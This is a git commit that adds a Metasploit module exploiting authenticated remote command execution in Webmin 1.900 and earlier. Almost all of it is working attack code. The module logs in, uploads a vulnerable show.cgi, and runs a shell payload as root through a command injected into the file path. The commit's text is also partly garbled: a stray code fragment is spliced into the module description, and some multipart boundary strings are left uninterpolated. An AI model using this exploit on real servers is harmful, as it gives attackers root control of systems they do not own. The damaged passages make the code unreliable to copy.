Add Webmin 1900 Remote Code Exec Module

Adding Webmin RCE module affecting Webmin <= 1.900. Module attempts to
use the Running Processes (proc) permission to determine upload dir,
if the permission is not set the module fails. The user can attempt the
exploit without this permission by setting the 'GUESSUPLOAD' opt to
true.

The default path is in an array of 1 to allow for other OS/Version
default paths to be added in future.
master
Ziconius 2019-02-11 10:45:03 -05:00
parent f589db6831
commit 08e1f86390
1 changed files with 299 additions and 0 deletions

View File

@ -0,0 +1,299 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'uri'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.900 - Remote Command Execution',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.900 and lower versions. Any user authorized to the "Java file manager"
and "Upload and Download" fields, to execute arbitrary commands with root privileges.
In addition, "Running Processes" field must be authorized to discover the directory to be uploaded.
A vulnerable file can be printed on the original files of the Webmin application.
The vulberable file we are uploading should be integrated with the application.
Therefore, a ".cgi" file with the vulnerability belong to webmin application should be used.
The module has been tested successfully with Webmin 1900 over Debia'cookie' => "redirect=1; testing=1; sid=#{session}"n 4.9.18.
Update: The update to this module allows the user to set 'GUESSUPLOAD' to true, which will attempt
to upload the files to known default locations. This removes 'proc' permission requirement, meaning
attackers only need 'file' and 'updown' permissions.
),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, Initial PoC module
'Ziconius <Kris.Anderson[at]immersivelabs.com>' # Updated MSF module; removing 'proc' requirement.
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python telnet'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.900', {}]],
'DisclosureDate' => 'Jan 17 2019',
'DefaultTarget' => 0)
)
register_options(
[
Opt::RPORT(10000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptBool.new('GUESSUPLOAD', [true, "If the 'Running Process' permission is not given to the user guess the path.", false]),
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password'])
], self.class
)
end
##
# Target and input verification
##
def check
vprint_status("Attempting to login...")
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25
)
if res && res.code == 302 && res.get_cookies =~ /sid/
print_good "Login successful"
session = res.get_cookies.split("sid=")[1].split(";")[0]
else
print_error "Service found, but login failed"
return Exploit::CheckCode::Detected
end
print_status("Attempting to execute...")
command = "echo #{rand_text_alphanumeric(rand(0..9))}"
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
'cookie' => "sid=#{session}"
}, 25
)
if res && res.code == 200 && res.message =~ /Document follows/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
##
# Exploiting phase
##
def exploit
peer = "#{rhost}:#{rport}"
print_status("Attempting to login...")
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25
)
if res && res.code == 302 && res.get_cookies =~ /sid/
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
if session && !session.empty?
print_good "Login successfully"
else
print_error "Authentication failed"
return
end
else
print_error "Authentication failed"
return
end
##
# Directory and SSL verification for referer
##
ps = datastore['SSL'].to_s
guess_dir = datastore['GUESSUPLOAD'].to_s
if ps == "true"
ssl = "https://"
else
ssl = "http://"
end
print_status("Target URL => #{ssl}#{peer}")
res1 = send_request_raw(
'method' => "POST",
'uri' => "/proc/index_tree.cgi?",
'headers' =>
{
'Referer' => "#{ssl}#{peer}/sysinfo.cgi?xnavigation=1"
},
'cookie' => "redirect=1; testing=1; sid=#{session}"
)
if res1 && res1.code == 200 && res1.body =~ /Running Processes/
print_status "Searching for directory to upload..."
stpdir =
res1
.body.scan(/perl.+miniserv.pl/)
.map { |s| s.split("perl ").last }
.map { |d| d.split("miniserv").first }
.map { |d| d.split("miniserv").first }
if !stpdir[0].nil?
dir = stpdir[0] + "file"
print_good("Directory to upload => #{dir}")
elsif guess_dir == "true" && stpdir[0].nil?
array = ["/usr/share/webmin/file"]
array.each do |i|
print_good("Attempting: " + i)
upload_attempt(ssl, peer, session, i)
end
else
print_error("Running processed check failed, not guessing uploads. Quitting.")
return
end
else
print_error "No access to processes or no upload directory found."
return
end
##
# Loading phase of the vulnerable file
# Command execution and shell retrieval
##
print_status("Attempting to execute the payload...")
command = payload.encoded
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(0..9))}|#{command}|",
'cookie' => "sid=#{session}"
}, 25
)
if res && res.code == 200 && res.message =~ /Document follows/
print_good "Payload executed successfully"
else
print_error "Error executing the payload"
return
end
end
def upload_attempt(ssl, peer, session, dir)
boundary = Rex::Text.rand_text_alphanumeric(29)
data2 = "-----------------------------#{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"
data2 << "Content-Type: application/octet-stream\r\n\r\n"
data2 << "#!/usr/local/bin/perl\n# show.cgi\n# Output some file for the browser\n\n"
data2 << "$trust_unknown_referers = 1;\nrequire './file-lib.pl';\n&ReadParse();\nuse POSIX;\n"
data2 << "$p = $ENV{'PATH_INFO'};\nif ($in{'type'}) {\n\t# Use the supplied content type\n\t"
data2 << "$type = $in{'type'};\n\t$download = 1;\n\t}\nelsif ($in{'format'} == 1) {\n\t"
data2 << "# Type comes from compression format\n\t$type = \"application/zip\";\n\t}\n"
data2 << "elsif ($in{'format'} == 2) {\n\t$type = \"application/x-gzip\";\n\t}\n"
data2 << "elsif ($in{'format'} == 3) {\n\t$type = \"application/x-tar\";\n\t}\nelse {\n\t"
data2 << "# Try to guess type from filename\n\t$type = &guess_mime_type($p, undef);\n\t"
data2 << "if (!$type) {\n\t\t# No idea .. use the 'file' command\n\t\t"
data2 << "$out = &backquote_command(\"file \".\n\t\t\t\t\t quotemeta(&resolve_links($p)), 1);\n\t\t"
data2 << "if ($out =~ /text|script/) {\n\t\t\t$type = \"text/plain\";\n\t\t\t}\n\t\telse {\n\t\t\t"
data2 << "$type = \"application/unknown\";\n\t\t\t}\n\t\t}\n\t}\n\n# Dump the file\n&switch_acl_uid();\n"
data2 << "$temp = &transname();\nif (!&can_access($p)) {\n\t# ACL rules prevent access to file\n\t"
data2 << "&error_exit(&text('view_eaccess', &html_escape($p)));\n\t}\n$p = &unmake_chroot($p);\n\n"
data2 << "if ($in{'format'}) {\n\t# An archive of a directory was requested .. create it\n\t"
data2 << "$archive || &error_exit($text{'view_earchive'});\n\tif ($in{'format'} == 1) {\n\t\t"
data2 << "$p =~ s/\\.zip$//;\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t$p =~ s/\\.tgz$//;\n\t\t}\n\t"
data2 << "elsif ($in{'format'} == 3) {\n\t\t$p =~ s/\\.tar$//;\n\t\t}\n\t-d $p || &error_exit($text{'view_edir'}.\" \".&html_escape($p));\n\t"
data2 << "if ($archive == 2 && $archmax > 0) {\n\t\t# Check if directory is too large to archive\n\t\tlocal $kb = &disk_usage_kb($p);\n\t\t"
data2 << "if ($kb*1024 > $archmax) {\n\t\t\t&error_exit(&text('view_earchmax', $archmax));\n\t\t\t}\n\t\t}\n\n\t"
data2 << "# Work out the base directory and filename\n\tif ($p =~ /^(.*\\/)([^\\/]+)$/) {\n\t\t$pdir = $1;\n\t\t"
data2 << "$pfile = $2;\n\t\t}\n\telse {\n\t\t$pdir = \"/\";\n\t\t$pfile = $p;\n\t\t}\n\n\t"
data2 << "# Work out the command to run\n\tif ($in{'format'} == 1) {\n\t\t"
data2 << "&has_command(\"zip\") || &error_exit(&text('view_ecmd', \"zip\"));\n\t\t"
data2 << "$cmd = \"zip -r $temp \".quotemeta($pfile);\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t"
data2 << "&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
data2 << "&has_command(\"gzip\") || &error_exit(&text('view_ecmd', \"gzip\"));\n\t\t"
data2 << "$cmd = \"tar cf - \".quotemeta($pfile).\" | gzip -c >$temp\";\n\t\t}\n\t"
data2 << "elsif ($in{'format'} == 3) {\n\t\t&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
data2 << "$cmd = \"tar cf $temp \".quotemeta($pfile);\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
data2 << "# Don't actually do anything if in test mode\n\t\t&ok_exit();\n\t\t}\n\n\t"
data2 << "# Run the command, and send back the resulting file\n\tlocal $qpdir = quotemeta($pdir);\n\t"
data2 << "local $out = `cd $qpdir ; ($cmd) 2>&1 </dev/null`;\n\tif ($?) {\n\t\tunlink($temp);\n\t\t"
data2 << "&error_exit(&text('view_ecomp', &html_escape($out)));\n\t\t}\n\tlocal @st = stat($temp);\n\t"
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-type: $type\\n\\n\";\n\t"
data2 << "open(FILE, $temp);\n\tunlink($temp);\n\twhile(read(FILE, $buf, 1024)) {\n\t\tprint $buf;\n\t\t}\n\t"
data2 << "close(FILE);\n\t}\nelse {\n\tif (!open(FILE, $p)) {\n\t\t# Unix permissions prevent access\n\t\t"
data2 << "&error_exit(&text('view_eopen', $p, $!));\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
data2 << "# Don't actually do anything if in test mode\n\t\tclose(FILE);\n\t\t"
data2 << "&ok_exit();\n\t\t}\n\n\t@st = stat($p);\n\tprint \"X-no-links: 1\\n\";\n\t"
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-Disposition: Attachment\\n\" if ($download);\n\t"
data2 << "print \"Content-type: $type\\n\\n\";\n\tif ($type =~ /^text\\/html/i && !$in{'edit'}) {\n\t\t"
data2 << "while(read(FILE, $buf, 1024)) {\n\t\t\t$data .= $buf;\n\t\t\t}\n\t\tprint &filter_javascript($data);\n\t\t"
data2 << "}\n\telse {\n\t\twhile(read(FILE, $buf, 1024)) {\n\t\t\tprint $buf;\n\t\t\t}\n\t\t}\n\tclose(FILE);\n\t}\n\n"
data2 << "sub error_exit\n{\nprint \"Content-type: text/plain\\n\";\n"
data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
data2 << "\r\n\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"user\"\r\n\r\nroot\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"group_def\"\r\n\r\n1\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"group\"\r\n\r\n\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n"
data2 << "-----------------------------{boundary}--\r\n"
res2 = send_request_raw(
'method' => "POST",
'uri' => "/updown/upload.cgi?id=154739243511",
'data' => data2,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
'Referer' => "#{ssl}#{peer}/updown/?xnavigation=1"
},
'cookie' => "redirect=1; testing=1; sid=#{session}"
)
if res2 && res2.code == 200 && res2.body =~ /Saving file/
print_good "Vulnerable show.cgi file was successfully uploaded."
else
print_error "Upload failed."
return
end
end
end